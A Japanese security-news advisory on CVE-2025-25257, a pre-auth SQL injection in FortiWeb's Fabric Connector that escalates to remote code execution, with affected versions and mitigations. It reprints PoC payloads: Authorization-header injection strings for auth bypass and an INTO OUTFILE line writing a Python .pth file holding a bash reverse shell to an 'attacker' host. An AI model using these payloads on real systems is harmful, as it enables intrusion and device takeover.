FortiWebのFabric Connectorに重大なSQLインジェクション脆弱性、POC公開とRCE成功の技術検証(CVE-2025-25257)

セキュリティニュース

投稿日時: 更新日時:

FortiWebのFabric Connectorに重大なSQLインジェクション脆弱性、POC公開とRCE成功の技術検証(CVE-2025-25257)

2025年7月上旬、Fortinet製のWebアプリケーションファイアウォール「FortiWeb」に深刻な脆弱性(CVE-2025-25257)が報告され、

その後事前認証のProof of Concept(POC)が公開されました。この脆弱性は、SQLインジェクション(SQLi)を通じて、リモートコード実行(RCE)まで到達可能なクリティカルな問題であり、実証コードの精度・再現性ともに非常に高いことが複数のセキュリティ研究者により確認されています。

影響を受けるバージョン

CVSSスコアは 9.6~9.8 と極めて高く、実運用環境での早急なパッチ適用が求められます。

バージョン系統 影響ありのバージョン 対応済バージョン
FortiWeb 7.6 7.6.0 ~ 7.6.3 7.6.4 以降
FortiWeb 7.4 7.4.0 ~ 7.4.7 7.4.8 以降
FortiWeb 7.2 7.2.0 ~ 7.2.10 7.2.11 以降
FortiWeb 7.0 7.0.0 ~ 7.0.10 7.0.11 以降

脆弱性の概要:Fabric Connectorの認証バイパス

この脆弱性は、FortiWebのFabric Connectorコンポーネントに存在します。本機能は、FortiGateやFortiManagerなどのFortinet製品や外部クラウド(例:AWS)と連携し、FortiWebのポリシー制御を動的に更新する役割を担っています。

問題の本質は、Fabric Connector内の関数 get_fabric_user_by_token における、Authorizationヘッダー内のトークン値を直接SQLクエリに埋め込む実装にありました。

snprintf(s, 0x400u, "select id from fabric_user.user_table where token='%s'", a1);

入力値 a1 が適切にサニタイズされておらず、外部からSQLコマンドを任意に挿入できる状態にあります。

POCで実証された攻撃手法:SQLiからRCEへ

セキュリティ企業watchTowrおよび研究者「faulty*ptrrr」によって、GitHub上で複数のPoCが公開されました。以下はその内容の要点です。

認証回避(Auth Bypass)

攻撃者はHTTPヘッダーに以下のようなAuthorization値を与えるだけで、Fabric ConnectorがSQLクエリを誤認し、認証を回避できます。

Authorization: Bearer AAAAAA'or'1'='1

結果、API /api/fabric/device/status から 200 OK の応答を取得し、任意ユーザとしてアクセスが成立します。

スペース制限の回避

Authorization ヘッダーは128バイト制限があり、スペースを含むと正しくパースされない制約があります。研究者らは、/**/(MySQLコメント)を活用して、スペースの代替とし、インジェクションを成功させました。

Authorization: Bearer AAAAAA'/**/or/**/1=1-- -

RCEへの拡張:SELECT INTO OUTFILE を使ったファイル書き込み

次に、SQLiを応用し、MySQLの INTO OUTFILE 機能を用いて、任意のファイルを書き込むプリミティブを確保します。

SELECT 'import os;os.system("bash -i >& /dev/tcp/attacker/4444 0>&1")' INTO OUTFILE '/path/to/.pth'

MySQLがroot権限で稼働している場合、このファイルは /lib/python3.10/site-packages/ 以下などに書き込み可能です。

Pythonの.pth機構を悪用してコード実行

FortiWebのCGIスクリプト /cgi-bin/ml-draw.py はPythonで実装されており、Apache経由で実行可能です。.pth ファイルに import 文を埋め込むことで、Python起動時に任意コードを自動実行できます。

この連携により、事前認証SQLiを起点としたフルリモートコード実行が成立しました。

防御策と推奨アクション

パッチ適用が困難な環境においては、以下の対策を講じてください。

  • 管理インターフェースへの外部アクセス遮断(HTTP/HTTPS)

  • Authorizationヘッダーに異常な値が含まれる通信のログ監視

  • WAFやリバースプロキシによる特定パス(/api/fabric/*)のブロック

  • Fortinet製品連携環境でのFabric Connectorの使用状況確認

終わりに:PoCの実用性と今後のリスク

watchTowrによる技術検証は極めて精緻で、再現性も高く、商用環境での攻撃実行が現実的であることを示しています。特に、認証を経ずにRCEが達成可能であることから、早期の脆弱性対応が喫緊の課題です。

POCコードは既に複数のGitHubリポジトリで公開されており、攻撃者による悪用も時間の問題と考えられます。

参照

https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/